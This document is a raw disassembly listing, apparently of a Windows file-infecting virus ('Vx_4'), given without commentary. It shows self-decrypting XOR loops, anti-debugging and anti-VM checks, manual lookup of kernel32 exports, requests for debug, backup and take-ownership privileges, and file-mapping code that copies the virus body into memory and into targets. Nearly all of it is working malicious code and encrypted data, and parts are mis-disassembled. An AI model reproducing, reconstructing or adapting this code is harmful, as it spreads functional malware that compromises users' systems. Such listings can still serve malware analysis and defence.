0 dd 8B1F7480h, 0F08D8BC7h, 2B001042h, 0FC4189C1h, 0FFF9FFE8h dd 0F988E8FFh, 0C3B0FFFFh, 0F980E8AAh, 0C78BFFFFh, 42C48D8Bh dd 0C12B0010h, 0B0FC4189h, 0B8850A58h, 0AA001039h, 0FFF965E8h dd 0C085F7FFh, 1039h, 74008000h, 50B8660Ch, 0B8850AC3h dd 0EB001039h, 0FFB8660Ah, 0B8A50AE0h, 66001039h, 0F93CE8ABh dd 85F7FFFFh, 1039C0h, 2000003h, 0CF8B5F74h, 42DC858Bh dd 0C82B0010h, 33FC4889h, 0C085F7C9h, 1039h, 75010000h dd 0B8858D0Eh, 8A001039h, 0F9804008h, 8DF87303h, 2444CD04h dd 0E0C10010h, 0AB8BB008h, 0B86606E3h, 0AB66C031h, 808FB866h dd 0B868h, 66E10200h, 85AB58ABh, 660675C9h, 66C031B8h dd 0AAC3B0ABh, 0FFF8D1E8h, 0CC858DFFh, 0F7001039h, 1039C085h dd 0 ; --------------------------------------------------------------------------- and [ebp+6], dh push edi sub edi, eax pop eax jmp short loc_31443ECE ; --------------------------------------------------------------------------- mov edx, [ebx+28h] sub edi, eax sub edx, eax mov ecx, [ebp+1042E4h] add [ebp+1042C4h], edx add [ecx], edi mov eax, [esp+4] loc_31443ECE: ; CODE XREF: .ifc_:31443EB3j mov [ebp+101069h], edi mov edi, [ebp+1042C8h] sub eax, [ebp+1042C4h] test dword ptr [ebp+1039C0h], 40h jz short loc_31443EEE neg eax loc_31443EEE: ; CODE XREF: .ifc_:31443EEAj stosd retn 4 ; --------------------------------------------------------------------------- dw 5756h dd 4300BD83h, 0F000010h, 1D984h, 0DE800h, 454B0000h, 4C454E52h dd 442E3233h, 0FF004C4Ch, 103EAE95h, 14858900h, 53001043h dd 33C588Bh, 2873FFD8h, 0E834438Bh, 0FFFFF4E5h, 42F4958Bh dd 35B0010h, 85890C42h, 104318h, 89084203h, 10431C85h dd 28738B00h, 80B3FFh, 0BEE80000h, 8BFFFFF4h, 1042F4BDh dd 0B2E85600h, 8BFFFFF4h, 1042F495h, 84A8B00h, 2B0C4A03h dd 5E983CEh, 160880Fh, 840F0000h, 15Ah, 42F8B503h, 0B5030010h dd 1042B4h, 0FE83CACh, 0A285h, 4468D00h, 42B4852Bh, 6030010h dd 0F46FE850h, 0BD83FFFFh, 1042F4h, 3B0B7500h, 830F0C47h dd 11Bh, 95390CEBh, 1042F4h, 10D850Fh, 85030000h, 1042B4h dd 0FF388166h, 0FC850F25h, 8B000000h, 432B0240h, 32E85034h dd 39FFFFF4h, 1042F4BDh, 0E4850F00h, 3000000h, 1042F885h dd 0B4850300h, 8B001042h, 0C472B00h, 0CD820Fh, 473B0000h dd 0C4830F08h, 83000000h, 470302C0h, 0B4850314h, 52001042h dd 14B5FF50h, 0FF001043h, 103E6E95h, 0C0855A00h, 0B7850Fh dd 9CE90000h, 3C000000h, 94850FFFh, 80000000h, 850F153Eh dd 8Bh, 2B01468Bh, 0E8503443h, 0FFFFF3C1h, 42F4BD39h, 77750010h dd 42F88503h, 85030010h, 1042B4h, 43208589h, 8B0010h, 4318853Bh dd 8720010h, 431C853Bh, 69720010h, 3Dh, 0E8377270h, 1Fh dd 8BFC4E8Dh, 3022BC1h, 853B1042h, 104320h, 0C4830C75h dd 8F31FF10h, 611C2444h, 8FC31BEBh, 1042D485h, 0B58B6000h dd 1042B4h, 0FFF45FE8h, 0A961FFh, 75800000h, 0C472B0Eh dd 473B0972h, 3C820F08h, 49FFFFFFh, 0FEB2850Fh, 3C8BFFFFh dd 0C0A78124h, 0FF000029h, 0EBFFBFFFh, 244A8142h, 0E0000060h dd 8BC0334Eh, 8587240Ch, 104300h, 42FC8589h, 0B98D0010h dd 29C4h, 42B48503h, 0A5660010h, 0C62B4EA5h, 2B144203h dd 46C60C42h, 81C7E8FBh, 54h, 5, 5FFC4689h, 0FF57C35Eh dd 103EBA95h, 1FE8C100h, 11A850Fh, 54500000h, 0FF6A286Ah dd 3F1A95FFh, 0C0850010h, 5880F5Fh, 0E8000001h, 0FFFFE458h dd 11E8h, 74655300h, 656C6946h, 75636553h, 79746972h, 0B5FF0041h dd 104288h, 3E6E95FFh, 85890010h, 104290h, 19E8h, 54655300h dd 4F656B61h, 72656E77h, 70696873h, 76697250h, 67656C69h dd 0E8570065h, 0FFFFE829h, 13E8h, 52655300h, 6F747365h dd 72506572h, 6C697669h, 656765h, 0E80BE857h, 12E8FFFFh dd 53000000h, 63614265h, 5070756Bh, 69766972h, 6567656Ch dd 0EEE85700h, 0E8FFFFE7h, 18h, 68436553h, 65676E61h, 69746F4Eh dd 72507966h, 6C697669h, 656765h, 0E7CBE857h, 5450FFFFh dd 3DCC858Dh, 646A0010h, 57016A50h, 3F2695FFh, 3C890010h dd 6295FF24h, 2A00103Eh, 84BD8DC0h, 50001041h, 0B5FF5050h dd 103DCCh, 4000168h, 16A5400h, 9095FF57h, 54001042h, 0FF57046Ah dd 10429095h, 14C48300h, 4288B5FFh, 95FF0010h, 103E9Eh dd 0B58DC35Fh, 104184h, 0A295FF56h, 8300103Eh, 840FFFF8h dd 0BBh, 42948589h, 6A0010h, 0DE95FF56h, 8500103Eh, 0A4840FC0h dd 2B000000h, 6A5050C0h, 16A5003h, 68h, 95FF56C0h, 103E7Eh dd 0FFFF883h, 60784h, 98858900h, 8D001042h, 10429C8Dh dd 0A4958D00h, 51001042h, 50006A52h, 3EAA95FFh, 0F8830010h dd 0D5840FFFh, 6A000005h, 98B5FF00h, 0FF001042h, 103EA695h dd 0FFF88300h, 5BE840Fh, 85890000h, 1042ACh, 0C303C933h dd 6A515051h, 0B5FF5104h, 104298h, 3E8295FFh, 0C0850010h dd 59A840Fh, 0C9330000h, 42B08589h, 51510010h, 1F6851h dd 0FF50000Fh, 103ECA95h, 0FC08500h, 55384h, 0B4858900h dd 0C3001042h, 7327B8h, 384B8B00h, 39C085F7h, 10h, 6752000h dd 10698503h, 0D2330010h, 0F1F7C103h, 8589E1F7h, 1042C0h dd 29CBB8h, 3C4B8B00h, 10698503h, 0D2330010h, 0F1F7C103h dd 8589E1F7h, 1042B8h, 4BB70FC3h, 35E3F906h, 0F18538Dh dd 31443B7h, 0C16B49D0h, 81D00328h, 69775F3Ah, 1D74F96Eh dd 10C7A83h, 4B8BE072h, 14428B3Ch, 8D104203h, 0F7FF4844h dd 3BC123D9h, 1042AC85h, 548BC300h, 0C0331024h, 0B8828Fh dd 8BC30000h, 8D0BEBCFh, 104184BDh, 0DF8BFC00h, 3CACC933h dd 3C067261h, 2C02777Ah, 5C3CAA20h, 2E3CEC74h, 3CDD74h dd 0C9E3E875h, 453D018Bh, 74004558h, 43533D0Bh, 850F0052h dd 0FFFFFF33h, 573D038Bh, 0F434E49h, 0FFFF2684h, 43573DFFh dd 840F4E55h, 0FFFFFF1Bh, 3343573Dh, 10840F32h, 3DFFFFFFh dd 4F545350h, 0FF05840Fh, 0DB33FFFFh, 0FFFE2DE8h, 0E81075FFh dd 0FFFFFCFAh, 0FFFE21E8h, 0EC840FFFh, 33FFFFFEh, 16E8D2h dd 63E80000h, 0E8FFFFFFh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 10344Fh jmp loc_31444856 ; --------------------------------------------------------------------------- dd 8B32FF64h, 1042B4B5h, 22896400h, 4D3E8166h, 0E3850F5Ah dd 8B000003h, 0DE033C5Eh, 503B8166h, 0D3850F45h, 0F7000003h dd 20001643h, 850F0000h, 3C6h, 25C43F6h, 3BC840Fh, 438B0000h dd 0A0A03D08h, 840FA0A0h, 3AEh, 2020203Dh, 0A3840F20h dd 8B000003h, 0C88Bh, 5116E300h, 0FFEF54E8h, 0F88D03FFh dd 3001042h, 406183CEh, 44618300h, 0FE9BE800h, 820FFFFFh dd 37Ah, 42FCA583h, 8B000010h, 4A8B0842h, 73C12B10h, 0EBC03304h dd 89C80305h, 8589104Ah, 1042BCh, 0B80C4A03h, 10000h, 0E68AE851h dd 9530FFFFh, 1039BEh, 0B53020B1h, 1039BFh, 0C9FE206Ah dd 0E8147858h, 0FFFFE670h, 940FD285h, 31E2D3C2h, 1039C095h dd 0F7E5EB00h, 1039C085h, 0 dd 0F7227402h, 1039C085h, 300h, 810C7500h, 1039C0A5h, 0FFFFFF00h dd 810AEBF7h, 1039C08Dh, 0 dd 66810h, 68590000h, 6, 0E622E858h, 858AFFFFh, 1039B8h dd 0B82A8486h, 88001039h, 1039B885h, 0F7E0E200h, 1039C085h dd 800h, 80097500h, 1039BABDh, 0C5740100h, 39C085F7h, 10h dd 1B741000h, 39B8BD80h, 74050010h, 0B9BD80B0h, 5001039h dd 0BD80A774h, 1039BAh, 0F79E7405h, 1039C085h, 40000000h dd 80097400h, 1039B8BDh, 89770200h, 4300A583h, 0E8000010h dd 0FFFFF272h, 0FFFD43E8h, 271E8FFh, 9D8B0000h, 1042B8h dd 42BC9D03h, 5BE80010h, 0FFFFFFCh, 25184h, 0B4B58B00h dd 8B001042h, 0DE033C5Eh, 0FFFD5CE8h, 3B820FFFh, 81000002h dd 60244Ah, 0FE8BE000h, 7A035652h, 107A0314h, 39C085F7h dd 10h, 14752000h, 4304BD89h, 0B58D0010h, 1039CCh, 10698D8Bh dd 0A4F30010h, 0A73B957h, 0B58D0000h, 101000h, 0B1A5F3h dd 0A4F302E3h, 39C085F7h, 10h, 840F2000h, 0AEh, 0E82873FFh dd 0FFFFED9Dh, 42F4958Bh, 0D2850010h, 98840Fh, 0B58B0000h dd 1042B4h, 81104A8Bh, 60244Ah, 4A2BE000h, 33027308h, 147203C9h dd 10698D3Bh, 8D8B0010h, 101069h, 3C8B5672h, 69A58324h dd 1010h, 69A783h, 8B000000h, 4A01087Ah, 87F70308h, 0C8858BF7h dd 0F7001042h, 1039C085h, 4000h, 0F7027400h, 0C720318h dd 0B5893029h, 104300h, 128738Bh, 0C085F730h, 40001039h dd 74000000h, 5118F702h, 0FFFC2BE8h, 0CEB59FFh, 2B287303h dd 56510C72h, 595FA4F3h, 39CCB58Dh, 0BD890010h, 104304h dd 5E5FA4F3h, 8D92310Fh, 13787h, 0BE953A00h, 75001039h dd 78D26906h, 66123456h, 0E8E75089h, 0FFFFD9E1h, 0C4A8B5Ah dd 0F7104A03h, 1039C085h, 0 dd 5418D20h, 8D891375h, 104300h, 10698503h, 0A7830010h dd 69h, 28432B00h, 548789h, 85F70000h, 103F7Ch, 1, 43C70774h dd 0A0A0A008h, 0C085F7A0h, 1039h, 74004000h, 5BE85207h dd 5AFFFFF7h, 43008D8Bh, 5E30010h, 0EB284B89h, 0FC8D8B0Dh dd 0E3001042h, 8B03EB02h, 85F7284Bh, 1039C0h, 3, 858B1474h dd 104304h, 42EC8D03h, 85030010h, 1042E8h, 4A8B0801h, 0B8858B10h dd 39001042h, 373084Ah, 1084A89h, 63831042h, 858B0058h dd 1042C0h, 29CC68h, 8420100h, 50430159h, 39BE958Ah, 85F70010h dd 1039C0h, 20000000h, 8D030674h, 101069h, 85F700B6h, 1039C0h dd 20000h, 0C6FE1475h, 39C085F7h, 10h, 6750004h, 39BFB58Ah dd 85F70010h, 1039C0h, 4000h, 78A0B75h, 2AAC202h, 0EBF7E2D6h dd 32078A09h, 0D602AAC2h db 0E2h, 0F7h ; --------------------------------------------------------------------------- loc_31444856: ; CODE XREF: .ifc_:31444457j xor edx, edx mov esp, fs:[edx] pop dword ptr fs:[edx] pop eax cmp dword ptr [ebp+104298h], 0 jz near ptr dword_31443EF4+437h push dword ptr [ebp+1042B4h] call dword ptr [ebp+103EEEh] push dword ptr [ebp+1042B0h] call dword ptr [ebp+103E62h] lea ecx, [ebp+10429Ch] lea edx, [ebp+1042A4h] push ecx push edx push 0 push dword ptr [ebp+104298h] call dword ptr [ebp+103EE2h] push dword ptr [ebp+104298h] call dword ptr [ebp+103E62h] lea esi, [ebp+104184h] push dword ptr [ebp+104294h] push esi call dword ptr [ebp+103EDEh] and dword ptr [ebp+104298h], 0 retn ; --------------------------------------------------------------------------- db 0E8h dd 0 dd 81016A5Dh, 1038CBEDh, 0FF05800h, 158885C1h, 0C0850010h dd 0FFC883C3h, 85C10FF0h, 101588h, 103DC3h, 1C75002Ah dd 247C8166h, 75716C0Ch, 0C4E86013h, 75FFFFFFh, 0FAB5E805h dd 0D2E8FFFFh, 61FFFFFFh, 782DFF2Eh, 0B8123456h, 25h, 0FFA5E860h dd 3975FFFFh, 3024448Bh, 4184B58Dh, 508B0010h, 3A816608h dd 25730206h, 6856h, 0C48B00FFh, 5052006Ah, 3F2E95FFh dd 0C4830010h, 5C3E8108h, 755C3F3Fh, 4C68303h, 0FFFA62E8h dd 0FF7FE8FFh, 0C361FFFFh, 74B8h, 0B8B1EB00h, 2Fh, 1DE8h dd 20C200h, 30B8h, 10E800h, 24C20000h, 185B800h, 3E80000h dd 0C2000000h, 548D002Ch, 2ECD0C24h, 7C00F883h, 0E86019h dd 8B000000h, 5D302454h, 0ED811A8Bh, 1039A2h, 0FFE0B3E8h dd 4C261FFh, 2010300h, 66060705h, 38F06FD8h, 8815FF28h dd 8B010010h, 0F89090FFh, 0CE8h, 0D1E8F800h, 0F9000000h dd 64E9h, 0FF646700h, 67000036h, 268964h, 7C258900h, 87314382h dd 31DB87DBh, 685353DBh, 4, 400068h, 685300h, 53800000h dd 4068h, 6800h, 15FF8000h, 31438090h, 5151C931h, 100068h dd 16800h, 51510000h, 100068h, 51515100h, 1068h, 80685100h dd 0FF000000h, 43809015h, 0DB87FC31h, 57CE02BCh, 6400EBA5h dd 58Fh, 905E0000h, 0C8FEC029h, 474C008h, 67EBF875h, 0E8F5FCF9h dd 39h, 0E29EE981h, 0BA51FFFFh, 2AB8h, 89DB87F8h, 36BED2h dd 0DB870000h, 66FC0186h, 88F5F031h, 4100EB01h, 0E7C68166h dd 0EB4A00h, 9F500EBh, 59E575D2h, 0E1FF00EBh, 0FF905990h dd 0EEh dup(0) dd 47000000h, 0AD7C809Bh, 317C8308h, 7C9103h, 126h dup(0) dd 44200100h, 31h, 133Ch dup(0) db 0 ; =============== S U B R O U T I N E ======================================= public start start proc near ; FUNCTION CHUNK AT 3144A052 SIZE 00000001 BYTES clc jmp short $+2 push ebp mov ebp, esp call loc_3144A01F cld xchg ebx, ebx call sub_3144A0AB jmp short $+2 stc mov eax, eax cld jmp loc_3144A052 start endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_3144A01F: ; CODE XREF: start+6p push dword ptr fs:0 add ds:dword_3144A054, ebp stc mov fs:0, esp xor ebx, ebx push 80000000h push 80000000h push 80000000h push ebx push ebx push ebx push ebx push 400h call ds:dword_31438090 ; GetProcAddress ; START OF FUNCTION CHUNK FOR start loc_3144A052: ; CODE XREF: start+19j cmc ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0BDh dword_3144A054 dd 12FFC0h ; --------------------------------------------------------------------------- cmc mov esi, [ebp-8] mov fs:0, esi stc xchg ebx, ebx sub esi, esi sub ecx, ecx cld mov cl, 0BBh cmc stc loc_3144A06E: ; CODE XREF: .ifc_:3144A072j lea esi, [esi+1] stc loop loc_3144A06E stc call sub_3144A07B stc ; =============== S U B R O U T I N E ======================================= sub_3144A07B proc near ; CODE XREF: .ifc_:3144A075p pop edi sub edi, 0FFFFFFBEh push edi mov ecx, 29CCh nop jmp short $+2 jmp short $+2 nop loc_3144A08E: ; CODE XREF: sub_3144A07B+26j mov al, [edi] clc xor ax, si xchg al, [edi] nop cld nop inc edi sub ecx, 1 nop nop or ecx, ecx jnz short loc_3144A08E pop edi jmp short $+2 clc leave stc jmp edi sub_3144A07B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3144A0AB proc near ; CODE XREF: start+Ep arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_3144A0AB endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short $+2 jmp short $+2 call $+5 cld mov eax, [esp] mov ecx, [eax+29BBh] mov [eax+3303h], ebx and ecx, 400000h mov ebx, [esp+4] jz short loc_3144A109 pop ecx mov [eax+3307h], esi mov cl, [eax+29BFh] mov [eax+330Bh], edi cmp cl, 0E8h jz short loc_3144A0FD mov ebx, [eax+29C1h] jmp short loc_3144A107 ; --------------------------------------------------------------------------- loc_3144A0FD: ; CODE XREF: .ifc_:3144A0F3j mov ecx, [eax+29C0h] mov ebx, [ecx+ebx+2] loc_3144A107: ; CODE XREF: .ifc_:3144A0FBj mov ebx, [ebx] loc_3144A109: ; CODE XREF: .ifc_:3144A0DBj push ebp mov ebp, eax sub dword ptr [esp+4], 11EC1h sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+1039CCh] mov ecx, 0 rep movsb sldt cx test ecx, ecx jnz short loc_3144A137 or eax, 0FFFFFFFFh int 2Eh ; DOS 2+ internal - EXECUTE COMMAND ; DS:SI -> counted CR-terminated command string loc_3144A137: ; CODE XREF: .ifc_:3144A130j and ebx, 0FFFFF000h loc_3144A13D: ; CODE XREF: .ifc_:3144A14Cj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_3144A14E loc_3144A146: ; CODE XREF: .ifc_:3144A15Bj sub ebx, 100h jnz short loc_3144A13D loc_3144A14E: ; CODE XREF: .ifc_:3144A144j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3144A146 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_3144A168: ; CODE XREF: .ifc_:loc_3144A17Cj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_3144A17C cmp dword ptr [eax+5], 6441636Fh jz short loc_3144A181 loc_3144A17C: ; CODE XREF: .ifc_:3144A171j loop loc_3144A168 pop ecx jmp short loc_3144A1AC ; --------------------------------------------------------------------------- loc_3144A181: ; CODE XREF: .ifc_:3144A17Aj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+101137h] lea ecx, [ebp+101120h] mov dx, [eax-19h] call ecx jmp short loc_3144A1F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3144A23A loc_3144A1AC: ; CODE XREF: .ifc_:3144A17Fj ; sub_3144A23A+10j ... mov eax, [ebp+1039C0h] and eax, 400000h jz short loc_3144A1D8 lea esi, [ebp+1039C4h] lodsd mov edi, [esp+arg_0] stosd mov ebx, [ebp+104308h] movsb mov edi, [ebp+104310h] mov esi, [ebp+10430Ch] loc_3144A1D8: ; CODE XREF: sub_3144A23A-83j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_3144A23A ; --------------------------------------------------------------------------- sub al, 0F8h ; =============== S U B R O U T I N E ======================================= sub_3144A1DC proc near ; CODE XREF: sub_3144C517+2DFp push ebx mov ecx, 2889h mov ebx, edx loc_3144A1E4: ; CODE XREF: sub_3144A1DC+13j xor [eax], dl sub dl, bl add eax, 1 xchg bl, bh xchg dl, dh loop loc_3144A1E4 pop ebx retn sub_3144A1DC endp ; --------------------------------------------------------------------------- loc_3144A1F3: ; CODE XREF: .ifc_:3144A1AAj call near ptr loc_3144A202+2 inc ebx insb outsd jnb short near ptr loc_3144A25F+3 dec eax popa outsb db 64h insb loc_3144A202: ; CODE XREF: .ifc_:loc_3144A1F3p add gs:[ebx-1], dl setalc mov [ebp+103E62h], eax call near ptr loc_3144A21E+1 inc ebx jb short loc_3144A27A popa jz short near ptr loc_3144A27C+1 inc ebp jbe short near ptr loc_3144A27C+4 outsb jz short loc_3144A25F loc_3144A21E: ; CODE XREF: .ifc_:3144A20Dp add [ebx-1], dl setalc mov [ebp+103E66h], eax call sub_3144A23A inc edi db 65h jz short near ptr loc_3144A27C+1 popa jnb short near ptr loc_3144A2A6+2 inc ebp jb short near ptr loc_3144A2A6+3 outsd jb short $+2 ; =============== S U B R O U T I N E ======================================= sub_3144A23A proc near ; CODE XREF: .ifc_:3144A228p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 3144A1AC SIZE 0000002E BYTES ; FUNCTION CHUNK AT 3144A5F0 SIZE 0000000B BYTES push ebx call esi ; lstrcatA mov [ebp+103E6Ah], eax call sub_3144A61B test eax, eax jz loc_3144A1AC push eax call dword ptr [ebp+103E6Ah] test eax, eax jnz loc_3144A5F0 loc_3144A25F: ; CODE XREF: .ifc_:3144A21Cj ; .ifc_:3144A1FBj cmp byte ptr [ebp+10153Fh], 1 jnz short loc_3144A27C push dword ptr [ebp+104308h] dec byte ptr [ebp+10153Fh] pop dword ptr [ebp+101598h] loc_3144A27A: ; CODE XREF: .ifc_:3144A213j jmp short loc_3144A283 ; --------------------------------------------------------------------------- loc_3144A27C: ; CODE XREF: sub_3144A23A+2Cj ; .ifc_:3144A216j ... and dword ptr [ebp+101598h], 0 loc_3144A283: ; CODE XREF: sub_3144A23A:loc_3144A27Aj and dword ptr [ebp+101588h], 0 and dword ptr [ebp+10158Ch], 0 and dword ptr [ebp+101590h], 0 push edi mov byte ptr [ebp+1012D4h], 1 mov [ebp+103E6Eh], esi loc_3144A2A6: ; CODE XREF: .ifc_:3144A232j ; .ifc_:3144A235j lea esi, [ebp+101604h] xor ecx, ecx lea edi, [ebp+103E7Ah] mov cl, 20h call sub_3144A658 pop edi call dword ptr [ebp+103EBAh] shr eax, 1Fh jz loc_3144A39F mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+103E72h], eax push 7328h push 0 call dword ptr [ebp+103EF2h] test eax, eax jz loc_3144A5F0 xchg eax, edi lea esi, [ebp+101000h] mov ebp, edi mov ecx, 0CCAh sub ebp, 101000h lea edx, [ebp+101254h] rep movsd jmp edx ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+101B4Dh] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+103E72h] add esp, 20h test eax, eax jz loc_3144A5F0 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+103E72h] test eax, eax jz loc_3144A5F0 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+103E72h] push 1000Ah call dword ptr [ebp+103E72h] call loc_3144A38F jmp loc_3144A5F0 ; --------------------------------------------------------------------------- loc_3144A38F: ; CODE XREF: sub_3144A23A+14Bp ; sub_3144A23A+162j push 1 pop ecx jecxz short locret_3144A39E push 0Ah call dword ptr [ebp+103EE6h] jmp short loc_3144A38F ; --------------------------------------------------------------------------- locret_3144A39E: ; CODE XREF: sub_3144A23A+158j retn ; --------------------------------------------------------------------------- loc_3144A39F: ; CODE XREF: sub_3144A23A+8Bj cmp dword ptr [ebp+103E92h], 0 jz loc_3144A5F0 call near ptr loc_3144A3B6+1 dec esi push esp inc esp dec esp dec esp loc_3144A3B6: ; CODE XREF: sub_3144A23A+172p add bh, bh sub_3144A23A endp ; sp-analysis failed xchg eax, ebp scasb db 3Eh adc [eax], al lea esi, [ebp+1017DEh] xor ecx, ecx lea edi, [ebp+103EFAh] mov cl, 0Eh xchg eax, ebx call sub_3144A658 cmp dword ptr [ebp+103F2Eh], 0 jz loc_3144A5F0 mov eax, [ebp+103EFEh] push dword ptr [eax+1] pop dword ptr [ebp+103917h] mov eax, [ebp+103F16h] push dword ptr [eax+1] pop dword ptr [ebp+103964h] mov eax, [ebp+103F02h] push dword ptr [eax+1] pop dword ptr [ebp+10396Bh] cmp dword ptr [ebp+10396Bh], 10000h jnb loc_3144A5F0 mov ecx, [ebp+103F06h] jecxz short loc_3144A43F push dword ptr [ecx+1] pop dword ptr [ebp+103978h] mov ecx, [ebp+103F0Eh] jecxz short loc_3144A43F push dword ptr [ecx+1] pop dword ptr [ebp+103985h] loc_3144A43F: ; CODE XREF: .ifc_:3144A423j ; .ifc_:3144A434j call sub_3144A5FC lea edi, [ebp+103F84h] mov ecx, edi push 0 neg cl push dword ptr [eax+4] and ecx, 3 push 40h add edi, ecx push edi push 0 push 18h lea esi, [ebp+1015EBh] mov ecx, 19h lea eax, ds:0FFFFFFFEh[ecx*2] stosw lea eax, ds:0[ecx*2] stosw lea eax, [edi+4] stosd xor ah, ah lea edx, [ebp+103E30h] loc_3144A488: ; CODE XREF: .ifc_:3144A491j lodsb mov [edx], ax stosw add edx, 2 loop loc_3144A488 mov edx, esp push 0 push 7328h mov ecx, esp push 0 mov eax, esp push 0 push 8000000h push 40h push ecx push edx push 0Eh push eax call dword ptr [ebp+103F0Ah] pop eax add esp, 40h push 7328h mov edx, esp push 0 mov ecx, esp push 40h push 0 push 2 push edx push 0 push 7328h push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+103F12h] pop edi pop ecx test edi, edi jz loc_3144A5F0 lea esi, [ebp+101000h] mov ecx, 0CCAh mov ebp, edi rep movsd sub ebp, 101000h lea eax, [ebp+10144Ah] jmp eax ; --------------------------------------------------------------------------- dw 5450h dd 0FF6A206Ah, 3F1A95FFh, 0C0850010h, 0E834755Fh, 14Fh dd 11E8h, 44655300h, 67756265h, 76697250h, 67656C69h, 0E8570065h dd 550h, 4288B5FFh, 95FF0010h, 103E9Eh, 6295FF57h, 6A00103Eh dd 0FF026A00h, 103E9295h, 128B900h, 2B970000h, 240C89E1h dd 95FF5754h, 103ED6h, 0A583F633h, 103F72h, 0FF575400h dd 103EDA95h, 74C08500h, 0FE834666h, 0FFEE7204h, 6A082474h dd 0FF2A6A00h, 103ED295h, 74C08500h, 88E893DCh, 33000005h dd 3AE391C9h, 3F728539h, 32750010h, 24247C81h, 73727363h dd 0C1812874h, 0EAFh, 56505450h, 53505051h, 3E8A95FFh dd 0C0850010h, 0FF0F7459h, 8F082474h, 103F7285h, 0FDB5E800h dd 0FF53FFFFh, 103E6295h, 818EEB00h, 128C4h, 95FF5700h dd 103E62h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3144A23A loc_3144A5F0: ; CODE XREF: sub_3144A23A+1Fj ; sub_3144A23A+B2j ... call dword ptr [ebp+103E62h] jmp loc_3144A1AC ; END OF FUNCTION CHUNK FOR sub_3144A23A ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_3144A5FC proc near ; CODE XREF: .ifc_:loc_3144A43Fp ; sub_3144A61B+2p pop edx push 0 push 0 push 0 push 0 push 40001h mov eax, esp push 0 push eax push 0Ch mov eax, esp jmp edx sub_3144A5FC endp ; --------------------------------------------------------------------------- aVx_4 db 'Vx_4',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_3144A61B proc near ; CODE XREF: sub_3144A23A+9p xor ecx, ecx call sub_3144A5FC lea edx, [ebp+101559h] push edx push ecx push ecx push eax call dword ptr [ebp+103E66h] add esp, 20h retn sub_3144A61B endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 585858h, 3328h, 0E73h, 3 dup(0) dd 29C0h, 0 ; =============== S U B R O U T I N E ======================================= sub_3144A658 proc near ; CODE XREF: sub_3144A23A+7Cp ; .ifc_:3144A3CEp ... push ecx push esi push ebx call dword ptr [ebp+103E6Eh] stosd pop ecx loc_3144A663: ; CODE XREF: sub_3144A658+Ej lodsb test al, al jnz short loc_3144A663 loop sub_3144A658 retn sub_3144A658 endp ; =============== S U B R O U T I N E ======================================= sub_3144A66B proc near ; CODE XREF: sub_3144C1E9+25p ; FUNCTION CHUNK AT 3144A6F5 SIZE 000003C0 BYTES ; FUNCTION CHUNK AT 3144AAC5 SIZE 00000027 BYTES lea edx, [ebp+101985h] push edx call dword ptr [ebp+103EC6h] mov [ebp+104288h], eax call near ptr loc_3144A698+1 dec esp outsd outsd imul esi, [ebp+70h], 50h jb short loc_3144A6F5 jbe short near ptr loc_3144A6F5+2 insb db 65h, 67h, 65h push esi popa insb jnz short loc_3144A6FC inc ecx loc_3144A698: ; CODE XREF: sub_3144A66B+13p add [eax-1], dl sub_3144A66B endp ; sp-analysis failed xchg eax, ebp outsb db 3Eh adc [eax], al mov [ebp+10428Ch], eax retn ; --------------------------------------------------------------------------- db 5Ch ; \ db 42h ; B db 61h ; a db 73h ; s db 65h ; e db 4Eh ; N db 61h ; a db 6Dh ; m db 65h ; e db 64h ; d db 4Fh ; O db 62h ; b db 6Ah ; j db 65h ; e db 63h ; c db 74h ; t db 73h ; s db 5Ch ; \ db 56h ; V db 74h ; t db 53h ; S db 65h ; e db 63h ; c db 74h ; t db 0 db 6Ch ; l db 73h ; s db 74h ; t db 72h ; r db 6Ch ; l db 65h ; e db 6Eh ; n db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 41h ; A db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 46h ; F db 69h ; i db 6Ch ; l db 65h ; e db 4Dh ; M db 61h ; a db 70h ; p db 70h ; p db 69h ; i db 6Eh ; n db 67h ; g db 41h ; A db 0 db 43h ; C db 72h ; r db 65h ; e db 61h ; a db 74h ; t db 65h ; e db 50h ; P db 72h ; r db 6Fh ; o db 63h ; c db 65h ; e db 73h ; s db 73h ; s db 41h ; A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3144A66B loc_3144A6F5: ; CODE XREF: sub_3144A66B+1Fj ; sub_3144A66B+21j add [ebx+72h], al db 65h popa jz short near ptr loc_3144A75F+2 loc_3144A6FC: ; CODE XREF: sub_3144A66B+2Aj push edx db 65h insd outsd jz short loc_3144A767 push esp push 64616572h add [ebx+72h], al db 65h popa jz short near ptr loc_3144A772+2 